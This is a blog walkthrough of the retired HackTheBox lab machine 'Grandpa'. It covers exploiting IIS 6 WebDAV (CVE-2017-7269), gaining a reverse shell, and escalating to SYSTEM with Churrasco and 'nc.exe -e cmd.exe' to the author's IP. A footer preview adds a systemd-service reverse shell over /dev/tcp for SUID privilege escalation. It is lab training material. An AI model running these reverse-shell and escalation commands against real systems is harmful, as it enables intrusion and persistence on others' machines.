Skip to main content

HackTheBox - Retired - Grandpa - Updated

HackTheBox  - Retired - Grandpa - Updated



Recon


Lately I've been using thread 3000 to do my recon scan on hack the box. It's a threaded scanner written in python that does super quick up/down scans on all TCP ports and then suggests a nmap scan to run based on the results of the first scan. It saves the nmap scan out as an xml which I convert to HTML to make it easier to read.



xsltproc ./10.10.10.14/10.10.10.14.xml -o grandpa.htb



So not much open here just port 80 which nmap says is IIS 6. So since it uses IIS we know it's a windows box. Let's see what is being served on port 80.



Just an under construction page.


Let's brute force the directory to see if we can find anything else being served on port 80 since it's our only path.


I use several tools to do this since each tool has their own quirks and might find things that the others don't. I  started with dirb here 






So not much here to go on, no login pages, no admin panels.





Exploit



So I just googled IIS 6.0 exploit..


Then I came across exploit


https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell


Webdav CVE-2017-7269



But how can we test to see if this is running webdav?


Googling around I found that kali has a tool builtin called davtest which will test for webdav and test what can been done with the access



davtest -url http://grandpa.htb




It's lots of fails about creating directories or placing files, but it does show that it is present.


Let's try the reverse shell we found now.


First let's check what the syntax is for this 



So, name of the exploit ( which I named webdav.py ) the IP and port of the target and then the IP and Port of my listener.


Not too hard but we need to set up our listener first so we know what IP and port to put in.


My VPN ip is 10.10.14.19 ( yours will be different)


I like to set my listener ports to 5555 ( but this can literally be any port number not currently in use on your system)


nc -lnvp 5555


With our listener running our final command to issue should be


Python ./Webdav.py 10.10.10.14 80 10.10.14.19 5555



It looks like it did something


Let's check back on our listener.



We have a shell as network service.





Unfortunately network service doesn't have access to either location where we might find the flag



So what's a hacker to do?


Let's get some more info from the box.

systeminfo



Server 2003 32-bit (x86)  <- I don't think x64 was even an option with server 2003


Only one patch installed? I'm pretty sure that means this box is vulnerable to a lot of different vulns. Let's check out what Windows exploit suggester has to say.



https://github.com/AonCyberLabs/Windows-Exploit-Suggester




This command gets a list of all current windows updates that have known vunls and saves it to an xlsx file.

python ./WindowsExploitSuggester.py --update


python ./WindowsExploitSuggester.py --update




Then we can let the tool compare that to the output of our systeminfo


python ./WindowsExploitSuggester.py -d 2020-09-21-mssb.xls -i sysinfo.txt 


-d is the xls database the update download   

-i is the systeminfo we got off grandpa


Just like we thought there are a  metric ton of different exploits this box is vulnerable too.



In the output of the suggester the Vulns that have [M] means there is a metasploit module to exploit this, and if there is an [E] that means there are exploits available and it even gives you links on where to get them… pretty nice huh?



So you can see in the output some of these are labelled with remote code execution, which we don't care about since we already have a shell, we want to focus on the Vulns labelled privilege escalation.


I focused on MS14-070 since its a local privilege escalation vulnerability.


I found this compiled exe of the vulnerability.

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-070


I downloaded it to my kali box


As my normal practice I tried to use updog to serve the file and certutil on grandpa to download it but it kept giving me an error, so I switched to SMB to get the file onto grandpa.


I used impacket's smbserver.py to start up a share with no authentication to serve the exploit to grandpa



sudo smbserver.py circusmonkey /home/circusmonkey404/Desktop/HTB/grandpa/




So this starts an SMB share named circusmonkey and serves up the contents of my /home/circusmonkey404/Desktop/HTB/grandpa folder.


I then just used copy to download a copy of the file to grandpa.


copy \\10.10.14.19\circusmonkey\35936.exe



No dice didn't give me a better user. 


I think I tried just about all of the exploits on the suggester and couldn't make my way with any of them.



Then I just googled "2003 privilege escalation"


This was the first result


https://www.exploit-db.com/exploits/6705


Churrasco


Eventually I found a pre compiled version for us


https://github.com/jivoi/pentest/blob/master/ehttps://github.com/Re4son/Churrasco/raw/master/churrasco.exexploit_win/churrasco


I'll use the same smbserver to xfer it over to grandpa.

First I just want to test and see if it does what we think it does.




C:\temp\circusmonkey>churrasco "whoami > C:\temp\circusmonkey\who.txt"




This should just dump out the results of whoami to a text file named who.txt



We could just use this to dump out the root.txt file and user.txt file… but what is the fun of that?


Let's put netcat on grandpa too, and see if we can get back a shell as system.


copy \\10.10.14.19\circusmonkey\nc.exe



Now I'll setup another listener on my kali box

nc -lnvp 5566



So now our command for churrasco would be something like this




C:\temp\circusmonkey\churrasco.exe -d "C:\temp\circusmonkey\nc.exe 10.10.14.19 5566 -e cmd.exe"



Now we check back on our new listener on 5566



We did it, no metasploit needed!!!!!


But we loose our shell about 10 seconds after it comes up…


So we proved it was possible. 10 seconds is enough to create a new admin user or implant some other means of persistence.


For now let's just grab our files with the flags and GTFO.


type C:\Documents and Settings\Administrator\Desktop\root.txt

Type C:\documents and settings\Harry\Desktop\user.txt



Man for an easy box, not using metasploit makes this thing freaking hard.













Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The